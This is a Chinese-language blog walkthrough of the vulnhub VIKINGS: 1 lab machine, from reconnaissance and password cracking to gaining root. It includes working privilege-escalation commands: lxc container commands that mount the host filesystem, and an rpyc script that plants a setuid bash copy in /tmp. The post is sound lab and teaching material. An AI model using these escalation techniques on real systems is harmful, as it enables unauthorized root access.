首页 > 其他分享 >vulnhub靶场之VIKINGS: 1

vulnhub靶场之VIKINGS: 1

时间:2022-11-16 10:24:42浏览次数:44  
标签:文件 VIKINGS 提权 num lxc vulnhub 靶场 txt root

准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/vikings/Vikings.ova,下载后直接vbox打开即可。

知识点:binwalk获取隐藏信息、base64文件解密、john爆破密码、考拉兹猜想、rpyc提权、lxd提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.1.0/24,获得靶机地址:192.168.1.34。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.34,显示开放了21、80端口,开启了ssh、http服务。

访问web服务并检查源代码信息未发现有效信息,使用dirmap进行目录扫描,发现war.txt。

访问war.txt文件给出了一个目录:/war-is-over,访问该目录:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字符串。

字符串解密:

将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。

修改文件后缀名然后进行解压文件,但是显示需要密码。使用fcrackzip进行密码的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

fcrackzip爆破失败,那我们就使用zip2john把他的密码信息提取出来,命令:zip2john upfine.zip > passwd,然后使用john进行破解,命令:john passwd --show,成功获得密码:ragnarok123。

对文件进行解密,解密之后发现是一张图片。

图片解密:

使用steghide获取隐藏信息,但是获取失败,就换了下工具使用binwalk获取隐藏信息,发现存在一个user文件。

使用binwalk获取下user文件并进行查看,命令:binwalk -e king。查看后获得两组字符串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

获取shell:

根据获取的字符串信息猜测是一组账户名和密码,经过测试最终:floki:f@m0usboatbuilde7可以成功登录。

在当前账户下查看下目录信息,发现了readme.txt文件和boat文件并读取文件内容,内容信息告诉我们要找到ragnar,这里猜测这是一个账户,boat文件告诉我们要进行考拉兹猜想第29个素数。

提权-方式一:

查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到过policykit两个漏洞:CVE-2021-4034和CVE-2021-3560,在这里测试无法提权。但是lxd提权在这里是可以实现的。

这里不是一个完整的lxd提权漏洞,因为镜像等一些信息都是已经安装好的,在我们进行安装时提示我们已经存在了,所以我们直接利用他原有的镜像就可以实现提权。

查看下image列表信息,命令:lxc image list。

之后依次执行下面语句,成功获得root权限。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

提权-方式二:

考拉兹猜想:

先理解下考拉兹猜想,直接看下图,这个说的很直观。

查找了一下第29个素数,显示是109,那写一个简单的脚本跑一下29的Collatz 序列。

collatz脚本
#对任意正整数n,若n为偶数则除以1,若n为奇数则乘3再加1,如此反复,其结果最终必会达到1
#博客园@upfine

num = 109
collatz=[109]
while num != 1:
    if num % 2 == 1:
        num = num * 3 + 1
    else:
        num = num / 2
    if num <= 127 and num >32:  #asii表内字符对应的10进制范围
        collatz.append(int(num))
print(collatz)
Collatz 序列结果
 [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

然后写一个简单的脚本对Collatz 序列进行转换,转换后获得一串字符串:mR)|>^/Gky[gz=\.F#j5P(,猜测是密码。

获取ragnar账户shell:

尝试使用ragnar/mR)|>^/Gky[gz=\.F#j5P(进行shell登录,成功登录,在ragnar账户下发现第一个flag信息。

提权:

在ragnar账户目录下,发现多出来了一个.profile文件,查看该文件内容发现以root权限调用了/usr/local/bin/rpyc_classic.py文件。

查看该文件权限,显示只具有读取权限,无法写入。这里找了下脚本直接将root权限进行复制。

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
 
fn = conn.teleport(getshell)
fn()

 写入exp.py文件进行执行,会在/tmp文件夹下生成bashroot文件,执行bashroot文件(./bashroot -p)获得root权限。

 在root目录下发现root.txt文件,读取文件信息获取到flag。

标签:文件,VIKINGS,提权,num,lxc,vulnhub,靶场,txt,root
From: https://www.cnblogs.com/upfine/p/16889470.html

相关文章

  • Vulnhub Chili靶机详细解题过程
    Chili识别目标主机IP地址本靶机存在无法从Virtualbox自动获得IP地址的问题,根据本人另文来解决该问题。──(kali㉿kali)-[~/Vulnhub/Chili]└─$sudonetdiscover-i......
  • Vulnhub Cherry靶机解题详细过程
    Cherry识别目标主机IP地址靶机存在无法从Virtualbox自动获取IP地址的问题,先参照本人另文解决该问题。┌──(kali㉿kali)-[~/Vulnhub/Cherry]└─$sudonetdiscover-......
  • sqlilabs靶场心得-联合注入
    第一次接触sql,也是第一次接触web,在学长的指导下借助sqllabs靶场来对sql注入进行学习。不知不觉二十多天过去了,学长给的靶场任务也完成了。现在写一些东西来记录一下。首......
  • Vulnhub Bluemoon靶机解题详细过程
    Bluemoon识别目标主机IP地址┌──(kali㉿kali)-[~/Vulnhub/Bluemoon]└─$sudonetdiscover-iethCurrentlyscanning:192.168.92.0/16|ScreenView:Unique......
  • Vulnhub Blogger靶机解题过程
    Blogger识别目标主机IP地址┌──(kali㉿kali)-[~/Vulnhub/Blogger]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.103.0/16|ScreenView:Unique......
  • Vulnhub 02 Breakout靶机解题详细过程
    02Breakout识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/02_breakout]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.74.0/16|ScreenView:Uni......
  • vulnhub靶场之Beelzebub
    准备:攻击机:虚拟机kali、本机win10。靶机:Beelzebub:1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/beelzebub/Beelzebub.zip......
  • Vulnhub Bluesky靶机解题详细过程
    Bluesky识别目标主机IP地址该靶机存在无法从VirtualBox自动获取IP的问题,解决过程见本人另文,此处不再赘述。┌──(kali㉿kali)-[~/Vulnhub/Bluesky]└─$sudonetdisc......
  • Vulnhub Victim 01靶机解题过程
    Victim01识别目标主机IP地址......
  • vulnhub靶场之DRIPPING BLUES: 1
    准备:攻击机:虚拟机kali、本机win10。靶机:DRIPPINGBLUES:1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/drippingblues/drip......